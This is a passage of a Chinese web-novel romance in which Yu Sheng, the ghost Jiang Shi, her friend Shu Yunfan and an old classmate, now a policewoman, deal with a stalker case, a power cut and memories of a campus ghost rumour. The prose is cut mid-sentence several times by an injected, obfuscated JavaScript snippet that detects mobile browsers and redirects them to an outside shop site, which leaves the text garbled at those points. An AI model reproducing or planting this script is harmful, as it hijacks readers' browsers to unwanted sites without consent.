“不用说谢,这是我的职责所在。”许绘林若有所思,摊开手心,“手机借我一下。” 喻声不明所以,还是乖乖按了密码后交过手机。 许绘林垂下眼皮,操作了一下,很快把手机递还给喻声:“我看你一键拨号那里2设置了别人,我就把我的号码放在3了,如果再遇到类似的情况直接打我电话。” 她抿唇:“我的所有聊天软件同号码都能搜到,你回去的时候加一下我吧,有什么新进展我会跟你说的。” “那我岂不是排到4了?”喻声还没开口,旁边的江时比审讯时的男警察还炸毛,“2号是谁?” 喻声默默屏蔽他的话,朝许绘林点点头,礼貌回应:“我记住了,辛苦你了。” 25. 101岁 江时炸毛的结论是喻声从他郁闷的问句中得来的,但当她目送许绘林道别转身往回走,消失在转角处后再偏头去寻江时,看到他的表情时,才发现结论好像有点误差。 路灯下,他眼眉都低垂,鼻尖泛红,嘴角往下耷拉着,他像是察觉到喻声的目光,迅速抬手挡了下眼睛,没过几秒后又把手放下,低头没看喻声,若无其事地说了句:“回家吧。” 感觉和胃口大开却没饭吃时的豆乳可以去验验血缘关系。 江时生活在和现在完全不同的年代,也因生活环境所致要比常人更早熟,但归根究底他也才二十岁而已,是个隐藏真心的手段不高明、会把真心暴露得更明显的年纪。 也是个暴露真心会收获另一颗纯粹的真心、如此笨拙地隐藏会收获一句“没关系,我最懂你”的年纪。 “等一下。”喻声喊住他,“有件事还没做呢。” 喻声给江时的电话卡是她以前上大学时用的副卡,因为套餐到期,又绑定了很多东西,所以不用之后还一直坚持每月续费,刚好就留给了江时。 “上次发烧,舒舒就给我设置了一键拨号,所以2是她,但我答应过你,3的位置就会一直是你的。” 她对卡的所属电话熟稔于心,没过多久就处理完成,笑得见牙不见眼,举起手机定在了江时面前。 上面写着—— 2,「舒舒」。 4,「许绘林」。 3,「A」。 又被哄好了。 江时眨眼,手不受控制地往上抬,长按3的位置,下一秒,他手上开始振响。 江时举起手机,点了挂断键,喻声未出现前,他在警察局门口徘徊的时候正在浏览的内容再次跃至他眼前。 喻声:「[地址]」 喻声:「一会见到你,再设置一键拨号吧。」 喻声:「跑得很累的时候,脑子很空,唯一的念头是江时在就好了。谢谢你真的在。」 他学习速度很快,现在已经能用拼音不用语音了,但输入速度仍然缓慢,一行十六个字打了好半晌,才得以送到喻声面前—— 「也谢谢你,包容这么小气又不坦荡的我。」 有片落叶飘了下来,砸中了这句话,更多落叶争相效仿,洋洋洒洒铺了一整条马路,马路七绕八绕,尽头位置却始终没变,是家。 到尽头前,有比落叶还繁多的问题亟需听到回答。 喻声问:“为什么不直接跟我说?打字不是更麻烦吗?” 江时踩着落叶往前走,声音顿顿:“不说。” “我觉得你没说错啊。”喻声笑,“果然一点都不坦荡。” 江时:“……” 话题切换,江时清清嗓子:“要我说出来也行,你先回答我一个问题吧。” “什么问题?” “我前几天上网看到有人在问,太阳每天都是从东边升起、再从西边落下,是不是有什么特殊的时刻,能看到太阳从西边升起?” 虽然距离高考已经过去好几年,该忘的也忘得差不多了,但这个喻声还保留一点记忆在:“没记错的话,在纬度较高的地区,飞机由东向西飞行,飞行速度快一点应该可以看到。” 她想了想,又补充:“好像时间还得是傍晚的时候,不过学这个距离现在已经过了好几年了,不知道有没有记错——这个和你说不说出来有什么关系?” “有关系的。”浸泡在夜色中,江时往前望,一望望到尽头,树影绰绰,一整条路上只有他们清晰,“大家看到的都是太阳从西边落下,一天当中只有亿分之一的人能看到不一样的风景,而我还没反应过来的时候,就已经坐在这架飞机上了。” 飞机速度太大了,他有点害怕,但他的星星告诉他,有我陪着你呢,你当胆小鬼也没关系。 他有她在当然没关系。 所以直到他看清她举到自己面前的手机屏幕上写的是什么时,他才想明白: 纠结自己到底是234中的哪个根本毫无意义,因为他坐上的是一架不可复制的飞机,他看到的是不可复制的风景。 非要概括的话,这个叫宿命,是喻声给了他可以把这个称之为宿命的底气。 “我说那句话时就是这个心情。”江时偏头去看喻声,不想放过她脸上任何一个听到这些话的表情,“谢谢你,包容这么小气又不坦荡的我,让我坐在这架飞机上。” 江时当然没有放过喻声脸上任何一个表情。 她好像很吃惊,瞪圆了眼睛,又好像觉得好笑,眼睛又开始弯弯,月亮也经历了如她眼睛一般从圆到弯的过程。 天上的月亮变化是因为太阳光,喻声的眼睛变化是因为江时在她散步时发来的短信:「别怕,好好看路。」 喻声和他隔着不近的一段距离,如果没有因冬天而早早打开的路灯还真看不清江时站在那里,与其等走过去当面聊不如发信息来得快。 喻声:「你怎么会在这里?」 江时:「路过。」 喻声:「这么巧?」 江时:「嗯。」 喻声回复了他一开始的话:「我没觉得怕,我带了防狼喷雾,提前散步时间到上班族的下班点,也换了路线,走人多的地方,现在觉得安全多了。」 江时:「防狼喷雾?」 喻声:「就是辣椒水。」 江时:「好用?」 喻声:「还没用过,你想试试?」 “正在输入中”短暂出现,又消失,再出现。 江时:「……」 江时:「不用了。」 江时:「你好好散步吧。」 喻声笑,遥遥朝江时招了下手,在收起手机前看了眼时间,决定结束散步回家。 其实她一点都不吃惊江时会在她身后。 鬼没什么脚步声,喻声的耳朵也根本没有那么灵敏,但她总能在几道同时出现的音轨中分清哪个是江时的。 从去警察局到现在快半个月的时间,每天散步他都一直沉默地跟在她身后,不远不近,今天要不是去注意他的声音不小心踢到石子一个趔趄,恐怕也不会收到他的信息。 他不说,喻声会故意挑新的、有拐角的散步路线,在每次拐弯时用余光瞥他一眼,他站在暗处,却比路灯还亮,比月光更轻,比星星更珍重。 每次散步完回到家后,总能看到江时坐在沙发上看电影,旋即若无其事地抛来一句“回来了”,绝口不提跟在她身后保护她的事情。 今天也是这样,快到公寓楼下时,喻声转身,果然没再看到江时。 喻声扬眉,果断顺着转身的方向走,各个店铺的招牌亮着的灯光短暂在她身上游动,她穿梭过仍在吆喝中的一众小摊摊主,绕过被冷风吹得褪色卷边的电线杆小广告,挤进了舒云繁家的超市里。 舒云繁正翘着二郎腿边撸狗边看剧,头也不抬地说了句“欢迎光临”。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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还有喻声怀里熟睡着的豆乳。 还在夺门未完全出的江时:“……诶?” 舒云繁瞪眼:“声声,你出门没关门吗?” 喻声:“……” 她背下这个锅,再把锅甩给风:“我想着马上就回来了所以就没关,估计是风吹又把门吹开了。” 舒云繁闻言打了个寒颤:“你别说,风是真的有点大,我们还吃雪糕,更觉得冷了。” ——这下风这个锅是真背定了。 喻声默默地想。 喻声怕舒云繁感冒:“那赶紧回家里洗个热水澡吧。” “我也是这么想的。”舒云繁从喻声手里接过豆乳,边咬着雪糕边含糊告别,“那我先回去啦,你也赶紧去洗澡吧,下次门记得关。” “知道啦。” 等到舒云繁彻底关上门,喻声才问脸上神情变化很快的江时:“这么着急是去哪里?” 江时摸摸鼻子,睫毛翕动,脸色恢复如常:“就……想着出去走走。” 喻声“噢”了一声,给他让出一条道来,示意他:“去吧。” 舒云繁说她收拾东西需要二十分钟,喻声百无聊赖,把她的犯罪心理的进度条往前拖了二十分钟看,她觉得自己经过这二十分钟的洗涤后挺了解心理的。 特别是一些欲盖弥彰的心理。 江时:“……” 他迅速地收回腿,把夺走的门还给门框,咳了一声后微笑应话:“突然就不想出门了。” 26. 101岁 扭捏还需直白治,喻声把江时推进屋里,关上门后直白问他:“是出去找我的吗?” 这哪里算得上是疑问句,顶多是让他在“对”和“是”中做一个选择,但他偏不选,挑了另一个烂大街的答案为自己辩白:“我只是担心你。” ——果然很扭捏。 喻声想。 “我感受到了。”喻声点点头,又问,“那为什么不跟我说呢?” 江时出门出得急,电视机未关,尚且放着电影,此刻进入广告时间,陡然提高的音量剪裁对话,喻声把剩下没吃的那个雪糕塞进江时手中,走上前把电视关掉,把对话重新缝好。 “雪糕是给你买的,我记得你喜欢这个味道。” 江时压下眉眼,坐在沙发扶手上,摩挲着手中的雪糕:“我只是怕你会不喜欢我跟着。” 和喻声相处的机会越摞高,越能证明他一开始对她的看法很透彻—— 她确实很像青苔,温吞却明亮地向下兼容,比起她自己的痛苦更能接住他人的;但她始终有一道衡量的标准在,在她这里分寸很重要,即使是亲近的人也不能把这条线拉低,对他破坏盆栽是如此,以为他对无辜的人下手也是如此。 在不确定“跟着她”的这件事情是否会冒犯到她时,江时宁愿缄口不言,但他也没法不去做,特别是在清楚地知道让喻声锻炼身体和让她处在安全中是可以兼得时。 “可是如果你不说的话,我可能永远也不会知道。”喻声坐在了他对面的沙发上,说,“不是很可惜吗?你失去了一个让我谢谢你的机会。” 江时轻笑,强调:“我又不需要你跟我说谢谢。” “可是我需要。”喻声也跟着笑,不避讳地直直看向江时,和他四目相对,说话声音在安静的环境里格外清晰,“你别剥夺我的权利。” 江时摊开手掌心,把雪糕全貌展现在喻声面前,问:“所以雪糕是谢礼?还是让我担心的安慰?” “看你怎么想。”喻声盘起腿坐,手撑在小腿上,寻了个最舒服的姿势,认真说道,“江时,我和长青不一样,这个世界上很多人都和他不一样。” 江时愣住,手僵在半空,默不作声。 “不要因为他伤害过你就对坦然帮助别人这件事情心存芥蒂,你担心我,就该让我知道,不要藏着掖着,要张牙舞爪地,要大张旗鼓地,来领走专属于你的那句谢谢。”喻声笑,“那个时候我就会说,江时,谢谢你呀,谢谢你担心我,因为有你在,我每天都散步得很好。” “这是很自然发生的事情,不要觉得有负担。”喻声说。 她的声音缓缓,带着安慰的、温暖的气息,以夸张的用词,用很耐心的方式引导他一步一步从阴霾里走出来。 想过一万种情况没想到她会说这些。 想过唯一一种确定的情况是她确实就是会说这些话的、如透明玻璃一样的人。 照清他。 透着光。 再利用光。 一点一点浇灌他。 他飞快地别过眼睛,不敢再看她。 手中的雪糕太凉,江时静默着收回手,眨眼,挤走被雪糕冻出来的湿润。 “谢谢。” “谢我?” “……谢谢你的雪糕,我很喜欢。” 一步一步从阴霾里走出来的时候,一定会看到光吗? “……先别谢我。”喻声镇定地说,“停电了。” 江时:“……?” 怪不得突然看不到光了。 气氛就这么被破坏,他起身:“我去阳台看看。” 果然不出喻声所料,江时去完阳台回来时言简意赅:“外面一整片都是黑的,应该是区域停电了。” 整个过程才不到一分钟,回来时他已经把雪糕吃完,把残骸以抛物线的形式扔进了垃圾桶。 区域停电的话—— 喻声担心舒云繁,迅速给她打了个电话。 “舒舒,我家停电了,你家情况怎么样?” “我说怎么突然洗着澡全黑了!”舒云繁恼,“吓得我穿好衣服都没敢出浴室门。” “你来我家吧。”喻声说,“等电来了你再回去。” 和舒云繁一起到的是一条社区群的信息—— 「尊敬的住户,您所在的区域发生临时故障,导致线路短路,我们抢修人员正在赶往现场进行抢修,对您造成的不便敬请谅解。」 舒云繁盯着信息好几秒,叹气道:“你知道我晚上看了犯罪心理后再遇到上这该死的停电,我的心理阴影有多大吗?脑子里浮现出八百个有人拉我电闸企图引我出去的场景了。” 喻声笑着给她拿了杯水和张纸巾:“那你怎么不给我打电话?” “要是你着急跑出来救我就撞了个正着怎么办?”舒云繁用纸巾擦了擦汗,喝了口水,“我在给我哥打电话还是给警察打电话中犹豫了一下,就接到你的电话了。” 舒云繁瞬间泪水汪汪:“声声,还是你对我好。” 豆乳趴在地上适时地跟着汪了一声。 江时指着它:“你好吵。” 豆乳:“汪。” 江时:“你怕黑吗?” 豆乳:“汪。” 江时:“除了汪你还能说点别的吗?” 豆乳:“汪。” 江时:“再说汪你就是小狗!” 豆乳:“汪!” “……”舒云繁忍不住,“豆乳你能不能别叫了?大晚上的干嘛呢,煽情都被你吵没了!” 继风之后又一个替江时背锅后开不了口的豆乳:“……汪。” 它哀嚎完最后一句,直接倒地埋脸。 喻声在旁边目睹一切,笑得不行。 舒云繁擦完汗,把纸巾团成一团刚想往垃圾桶里扔,却率先看到了垃圾桶里的雪糕袋,她很疑惑地问:“声声,你有这么热吗?两根全吃了?” 喻声吃的那根雪糕的袋子扔在了超市门口的垃圾桶里,现在出现的雪糕袋无疑是另一根的。 “就——”喻声眨眼,“忍不住。” “我懂你。”舒云繁取了个抱枕抱在怀里,回忆着,“我记得我小时候也经历过好几次停电,要是在夏天停电根本受不了,就会去翻冰箱里的雪糕解解暑,冰箱里要是有三根,我就跟我哥说只剩一根了,再昧下另外两根,趁我哥不注意偷偷藏了回房间躲门后吃。他每次都从垃圾桶里翻出我吃完的雪糕袋到我妈那里告状,导致我现在刚吃完雪糕还有会去注意垃圾桶的习惯。” 喻声实在没法想象舒云霁小时候翻垃圾桶的样子,闻言只觉得好笑:“所以这才是你雪糕吃得飞快的原因?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16524580|184024||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “不快不行。”舒云繁说,“等他告完状拉着我妈来抓我后,我剩的雪糕就要充公了。” 她问:“声声,我好像没怎么听你提过小时候,你小时候是什么样子的呢?” 在地上挠着豆乳下巴的江时听到话,猛地抬头看向喻声。 “我的生活乏善可陈。”心脏晃晃荡荡,没有着陆点,喻声沉默后笑着说,“除了读书学习没有其他有乐趣的地方。” 舒云繁瞪眼,手中杯子里的水泛起小涟漪:“你居然觉得读书学习是件有乐趣的事情?” “你知道读书学习最有乐趣的地方是在哪里吗?” 舒云繁想了想,没想出来,最后摇头问:“在哪里?” 喻声笑眯眯:“就在于总有人不了解它的乐趣,却还是不得不面对它。” 舒云繁:“……” “听起来更无趣了。”她评价,“还是我带你玩点有乐趣的吧!” “那你说。” “第一件就是!”舒云繁换了副可怜兮兮的模样,“我饿了,我们要不点点外卖吧,吃饭也挺有乐趣的。” 喻声:“……” 江时:“……” 一直没敢吱声的豆乳:“……” - 电很快重新回到家,喻声和舒云繁在亮光中面面相觑,撑着肚皮劝对方把剩下的爆肚面吃了。 “这真的有乐趣吗?” “你不懂。”舒云繁得意地纠正喻声,“它最有乐趣的地方就在于总有人暂时失去对它的乐趣,却还是不得不面对它。” 喻声:“……” 参考文献真是一目了然。 喻声挑眉笑,反将一军:“那觉得它有乐趣的舒云繁小姐,能不能替我解决一下?” 舒云繁垮着脸,认错很快:“……我错了。” 最后在舒云繁的认错声中,秉着不浪费的原则,握手言和一人分一半,舒云繁都回家半小时了,喻声还瘫在沙发上起不来。 她闭了闭眼,有种错觉—— 爆肚面师傅举的锅铲爆的是她的肚。 江时坐在地上,手撑在沙发上托着腮,和喻声不过一只手臂的距离,饶有兴致地看向她:“你还好吗?” 喻声侧身,有气无力:“还好。” 江时轻拍沙发:“手给我。” 喻声半睁眼,虽然狐疑,还是听话把手心摊开在江时面前。 江时一只手握住喻声的手腕拉得离自己更近了些,一只手的大拇指按上了她的大鱼际穴,画圈轻轻揉着。 “你还会这个?” 不知是按对了还是心理作用,喻声真觉得舒服了不少,至少举着锅铲的爆肚面师傅暂时离开了她的肚子。 “现查的。”江时挑眉,“你觉得有用吗?” 喻声点头,周遭太过安静,他们俩的距离又太近,皮肤和皮肤相贴很难不生出异样感觉,她急急寻着其他话题来切割这种亲密。 “你有什么觉得有乐趣的事情吗?” 江时手上动作一顿,抬头,和喻声眼对眼的瞬间,有话脱口而出:“今天多了一样。” “今天?” 风自微开的窗灌进来,在耳边鼓噪。 “对。”江时平和地说,“今天开始觉得,有专属的‘谢谢’是一件很有乐趣的事情。” 27. 101岁 喻声养过一只小狗,在高敏出国后。 春华女士牌友家的小狗生了一窝,太多只了实在是养不动,于是在打牌时让春华女士回家问喻声喜不喜欢,喻声点头后隔天就挑了一只送了过来。 白色的,比豆乳还白。 小小只,比豆乳还小。 毛发蓬松的,却在每晚都代替枕头,浸了水后塌下去变得湿答答的,陪喻声度过了最难熬的那段日子。 喻声和它一起睡觉、去没去过的地方散步、站在软绵绵的云朵下吹风、再紧紧拥抱,一起做很多稀松平常的、但以前只有她一个人在做的事情。 小狗不会说话。 但小狗照单全收。 喻声开始写文也是因为它,起初是在社交软件上记载一些关于小狗的随笔受到关注,慢慢积累了一大批粉丝才开始接稿写别的,最后以它为桥梁正式踏入这一行。 没有它,就没有喻声的今天。 它带给喻声那份空缺的慰藉,离开喻声的时候却比任何人来得都快,快到喻声都没来得及和它说声谢谢。 这是喻声经历的,最长的一次停电。 所以当舒云繁问起之前是什么样子的那一瞬间,喻声也会不受控制地想,她的生活曾经也有过不是乏善可陈的时候。 也正因如此,即使有时候会客套地跟人说“不用总说谢谢”,但喻声心里还是会觉得每一件被帮助的事情都值得一句及时的、专属的谢谢。 只是她没想到,江时会再次提及这个。 见喻声眨眼看向他,江时脸上的笑意轻微浮现,又说:“所以我以后会多说,也会多听你说,但偶尔少一句多一句也没什么,这个世界本来就有不说谢谢彼此心里也会明白的关系存在,就像我们,或者就像让你萌生这种想法的那个人。” 他不知道是小狗,只说是那个人。 他不知道具体发生了什么事,但他了解喻声,知道她是个所有果都会去纠结因的人,他能做的,就是在不清楚因是什么的情况下坚定地站在她这一边,告诉她事情的发生像流动的水一般,无法去提前预知每一滴水最后的走向,就无须为它可能变成眼泪而自责。 ——她的胃里心里现在有颗叫江时的泡腾片在遇水冒泡。 喻声想。 江时嘴上在说,手上动作也没停,依旧轻揉喻声手上的穴位,除了一开始开口时短暂地抬头看了眼她外,其余时间都低着头,神色认真地盯着她的手。 “手好痛。” 喻声往沙发背上靠,状似被压垮。 “我太用力了吗?” 江时一紧张,不敢再有动作哪怕半分,最后只剩手指轻搭在喻声掌心,随即迅速抬眼确认她是不是真的痛。 喻声笑起来,承认刚才的口是心非:“骗你的。” 江时:“……” 他气笑,手指真的往下使力。 喻声:“……可以了!” 这下是真痛了! 气氛一下被缓和回来,喻声赶紧使劲把手缩回袖子里,坐直,重新开口:“谢谢。” 江时的手也顺势收回,他不露痕迹地用另一只手摩挲着刚刚久久停留在喻声掌心的那根大拇指,直至体温消失才问得磨蹭:“这次是谢什么?” 喻声莞尔道:“所有。” 从初见到此刻烂熟于心的所有。 其中最重要的是—— 乏善可陈的反义词在之前是小狗,现在的反义词是江时。 谢谢他这一滴水的走向是滋润她干涸的世界。 - 再次和许绘林有交集,是喻声收到了她发来的cosplay马拉的那位被拘留的消息,他屡次三番再犯,还涉及偷拍,证据确凿,终于被法律制裁。 喻声礼貌回复:「辛苦了。」 许绘林:「这是我们应该做的。」 许绘林:「你现在有空吗?我刚好换班到半夜,要不要现在出来坐坐?正好吃个晚饭,顺便叙叙旧。」 叙旧? 喻声迟疑。 她和许绘林连话都没说上过两回,哪来的旧可以叙? 但她还是没反驳许绘林的提议,想着可能有些案件细节要找她了解:「我现在有空的。」 喻声:「你看看哪里方便,发个定位给我,我现在过去。」 到饭点了,许绘林干脆利落:「东大后门有一家土豆粉,你还记得吗?好久没吃过了,一起去吧。」 喻声:「记得,我现在就过去。」 在路上时,许绘林已经询问了喻声的加料喜好,等喻声抵达土豆粉店时,就看到许绘林已经坐在两碗土豆粉面前了。 她没动筷,见喻声出现在门口,抬手打招呼:“这儿!” 等喻声坐下后,许绘林把她的那份土豆粉移得离她更近了些:“时间刚刚好,粉刚上桌你就来了。” “谢谢。”喻声从筷子筒里取出两双用纸擦干净后递了一双给许绘林,笑道,“好久没来学校附近了。” “我也是,毕业后就没来过了。”许绘林接过筷子急匆匆吃了一口,被烫到整张脸皱起半天无力抚平,只好放下筷子重新打开话匣,“你还没来之前我逛了一圈,倒是好像没怎么变。” 喻声默默跟着放下筷子,手托着脸,一间一间店回忆着:“读书的时候比起后门我更常去前门,我记得前门一整条街都是店铺,再往里走就是水果捞、烧烤店、鸡公煲、紫菜包饭、奶茶店,还有一家面包店,在岔路口,是个阿姨开的,阿姨很和善,经常往袋子里多塞面包给学生,不知道还在不在。” 许绘林摇头:“不在了,这里店铺租金高,可能你大四忙论文没怎么去,我们大四的时候阿姨就在考虑走了,毕业后没几个月就把地方腾出来了,我刚才路过那里,已经变成了东北菜。” “好可惜,以后的东大师生都吃不到了。”喻声一顿,说,“阿姨做的面包是真的好吃。” “我知道。”许绘林颔首,“我们喜欢的是同一款奶油面包。” 喻声疑惑地望向她:“你怎么知道我喜欢什么?” “忘记了吗?”许绘林平静地望回来,“我们第一次有交集,就是在面包店门口。” - 吃完土豆粉后,喻声就和许绘林告别,许绘林回警局,喻声则乘上了末班的公交车回家。 车上乘客三三两两,一致困倦地自设边界不允许陌生人靠近,喻声坐在窗边的位置,四周无人,安静无声,她透过模糊的车窗看向窗外。 眼前的风景随着驶动的车高速变化,水果捞、烧烤店、鸡公煲、紫菜包饭、奶茶店、面包店—— 公交车一个急刹车,喻声习惯性地往前倾,差点撞上前面的椅背,幸好手往前撑住没让额头遭殃,她没多想, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16559137|184024||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 揉了揉被挤压发红的掌心,拎了包就往下走,打算买点面包当晚餐。 刚买完出来,门口吵闹的场景就引起她的注意。 奶茶店店员不耐地说着:“同学,我们这里只能扫码下单,自己操作完来取。” 彼时旁边站着一脸无措的许绘林,她张了张嘴,怯懦地不知如何开口。 喻声把自己的社恐攥得很紧,非常勇敢地上前一步,从口罩里露出两只眼睛直勾勾看向店员。 “你好,请问二维码在哪里?” 店员把带有二维码的立牌往前推:“扫这个就可以。” “我不太会操作,可以帮我一下吗?” 等到店员快接过她手机时,喻声退后一步,抱歉看向许绘林:“对不起,我差点忘记是你先来的了。” 她又看向店员:“麻烦先让这位同学下单吧,我排在她后面的。” 店员扫了眼许绘林,又看向喻声,明白了什么,尴尬地点了头:“同学,你手机给我吧,我帮你操作一下。” 等到店员给许绘林下完单,才来重新询问喻声,喻声没说她其实知道怎么下单,顺从地递过手机,往上扯了扯口罩小声说我和这位同学点一样的就可以。 社恐没被攥紧,它不听话,从指缝里又一溜烟地跑了出来。 喻声接过做好的奶茶想赶紧往外走时,就被许绘林拉住,她的声音比喻声刚才的声音还小,轻轻说了声谢谢,惊得喻声用手里的奶油面包代替被扯住的袖子塞进许绘林手里。 “不用谢,这个给你,是我最喜欢的面包。” 许绘林愣愣接过,喻声看见外面停着的公交车,来不及和她告别就三步作两步地往外跑,在车即将启动前终于成功赶上。 公交车往回开,路过面包店、奶茶店、紫菜包饭、鸡公煲、烧烤店、水果捞,一晃眼,又到土豆粉店,停在了喻声和许绘林的第三次交集处。 喻声这才明白,为什么许绘林会说顺便叙叙旧。 缘分的种子从那时埋下,到现在才发芽,可惜同学四年都没能往里浇浇水。 “对不起。”喻声有点不好意思,“我现在才想起来。” “想不起来也很正常。”许绘林吸了一口土豆粉,笑出声,“我和那时候差别很大吧?” 喻声诚实地点点头。 在她记忆里,许绘林一直都是很英气的形象,实在没法把现在的她和那时怯懦的小姑娘联系起来。 “说起来,我要当警察的想法也是从那时候开始的。我从大山里走出来的,什么都不懂,又倔,不想被人看穿,默背了好几遍奶茶名没想到卡在了下单这一步,幸好你从天而降。”许绘林说,“因为喜欢你那时候的样子,很帅气,像骑士,最能接近这个形象的职业就是警察了。” “也因为你,最喜欢的面包一直都是奶油面包。” 喻声从未知道自己有这样的能力。 但又不意外地心情很好。 人品被肯定,心情很好。 品味被认可,心情很好。 微风拂过来,一颗心被烘托,“心情很好”四个字能概括所有。 好到继爆肚面师傅后,土豆粉师傅开始觊觎她的肚子了。 正当喻声沉浸在开心中时,许绘林一句话把土豆粉师傅打跑,无预警地把她拉回现实—— “你现在还能看到鬼吗?” 28. 101岁 记忆瞬间从脑海中被打捞起,喻声又想起她和约稿单主产生矛盾,江时从后往前伸手捂住她眼睛的那天。 往前追溯到她在东大读书时,也曾希望过有那么一双手能替她把眼睛捂上。 当时还很流行在发帖软件上交流,很多东大学生会在上面问课程安排、学校比赛、社团活动等等,也有捞人的、讲故事的,鱼龙混杂,各形各色都有。 喻声为了不错过加分活动,也注册了一个账号,刚登进去,一刷新,就看到了一条爆火的帖子。 帖主激昂澎湃:「你们听说了吗?我们学校实验楼闹鬼!有两个师兄聚会到半夜才回宿舍,路过实验楼就听到有女人的哭声,其中一个师兄壮着胆子说做实验做哭了不如别做了下来一起玩,结果你们猜怎么着?哭声停了!据知情人透露消息,自此之后师兄就被鬼缠上,神情恍惚形如枯槁,最后直接休学了,听闻鬼又重新回到实验楼去了,半夜还能看到301窗户那里飘过白影。」 底下的评论叠得很高,多是插科打诨和不以为意,更有甚者说帖主是不是做实验做疯前产生了最后的幻想,还让帖主把知情人喊出来看看是何方神圣。 帖主不服气,在满屏骂声中出来回复:「不信的话,不如今晚一试,敢的人晚上12点实验楼门口见。」 此言一出,又毫不意外地收获一众嘲讽,里面夹杂着一两个晚上实验楼门口不见不散,至此,帖子的火爆程度更上一层楼。 只有喻声知道,有鬼的事情是真的,期末复习时她离开教学楼比较晚,就亲眼目睹过。 她充当一只蝴蝶,在帖子的讨论区轻拍了几下翅膀,留下一句「我看得到,我可以证明帖主说的都是真的,大家不要惹祸上身」,可是后续的龙卷风却不在千里之外,而是近在眼前,把她疯狂卷入—— 喻声被当成了帖子中的那位知情人。 本来事情到此就告一段落,可因为她这句话跃跃欲试的人反而变多,但唯物主义教育和义务教育共生,大部分人无法接受认知之外的事情,因此把当天晚上遇到的怪事都以为是所谓的“知情人”在恶作剧,恼羞最终成怒,化成恶意,把喻声横穿。 网络时代,顺着网线被抓住、被曝光是很轻易的事情。 群居习性,孤立异样的、和自己不同的那一部分是很正常的事情。 喻声也是过了很久才明白,不是所有人都会是江时,会捂着她的眼睛让她“别怕”;也不是所有人都会是舒云繁,在听到这么匪夷所思的事情会说“这也太酷了”。 但她还是那个喻声。 是那个即使一朝被蛇咬,在他人有可能遇到困境时仍然会说出“我看得到”的喻声,面对舒云繁是如此,如今,面对许绘林也是如此。 “我看得到。” 喻声回答。 太多学生下课觅食,不大的一块地方里喧闹的朝气一泄如注,孜孜不倦地朝她们进攻;而她们面对着面,更小的一方天地里,是薄如蝉翼、却没被打破的安静。 外面不合时宜地下雨了。 喻声沉浸在过去太久,这才后知后觉。 “很辛苦吧?”许绘林问。 幸好。 喻声想。 她接住的从此是井绳而并非蛇。 “你指的如果是那篇帖子的话。”喻声笑,“都过去了。” 许绘林把筷子搁在碗上,双臂交叠支在桌上,郑重地:“喻声,我一直欠你一句道歉。” 夜风吹来,喻声眨眼看向她,轻声的疑问随着雨水落下:“为什么要向我道歉?你没有做错任何。” “明明受过你的帮助,可面对你的遭遇时我还是选择了视而不见;明明知道这种情况下只要有一个人站在你身边就可以了,我还是选择了站在你的对立面。”许绘林像憋了许久,长句连贯不停,越想控制语气平稳,越显得急躁,“甚至要不是再次遇到了你,这辈子我都不一定会把道歉说出口。” 半晌过后,喻声手肘抵桌沿,把土豆粉往桌子中心推了点,启唇,缓缓重复了刚才的话。 “你没有做错任何,不用向我道歉。” 末了,她又轻轻附上一句:“绘林,我不会怪你。” 雨只是过客,匆匆来又匆匆停,天气和最初赴约时别无二致。 不知过了多久,也许是一瞬间,也许是一个世纪,喧闹尽散去,但那种薄如蝉翼的安静,始终没有被打破过。 - 喻声现在仍依稀记得在东大时最常走的那条路。 那是一整条直道,无需拐弯,就能把宿舍、教学楼和食堂像珍珠一样一颗一颗串起来,喻声又回到了东大,又走了这条路,路过一颗珍珠,就有下一颗珍珠在等她。 天晴下雨,步履不停。 直到珍珠上出现了难以忽视的瑕疵—— 久违地,喻声半夜惊醒,晃眼一看,墙上时钟里的时针和数字3紧密相贴。 一清醒,她脑海中又开始止不住地回放晚上的场景。 设身处地,她能体谅许绘林,或者换一种说法,处在当下去争论谁对谁错太缥缈了,就像刻舟求剑一般,再有所得都不是当初需要的那把剑了。 但人生好像就是这样的,很多事只有当它成为过去才会得到回应或结果,喻声也突然想知道,时过境迁后,现在得到的这把剑投射回去,能再牵动起怎样的心情。 思忖至此,喻声从床上猛然坐起,伸手把手机从床头柜上唤醒,再把发帖软件重新下载了回来。 昏暗灯光下,喻声看到提示的那句“本机号码一键登录”,才想起来她以前的账号用的是大学时期的号码,而那个号码现在是江时在用,要用验证码登录得去找他。 这个时间点去找江时—— 喻声的想法被房间外“砰”地一声惊到卡顿,停在了“江时”二字上,瞬间反应过来动静是他制造出来的。 ——真好,他发出了可以在这个时间点去找他的信号。 因深夜去打扰很不礼貌而萌生出的愧疚荡然无存,喻声下床,穿鞋,开门,从一盏昏暗的灯,走向另一盏明亮的灯。 明亮的灯下,是侧影单薄的江时。 隔着厨房的推拉门,喻声驻足,静静地看着他。 江时不知道杵在厨房捣鼓些什么,旁边的台面上零零散散放着一些食材,鸡蛋、黄油、面粉等等,还有些烘焙工具,也不清楚是从哪个犄角旮旯翻出来的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 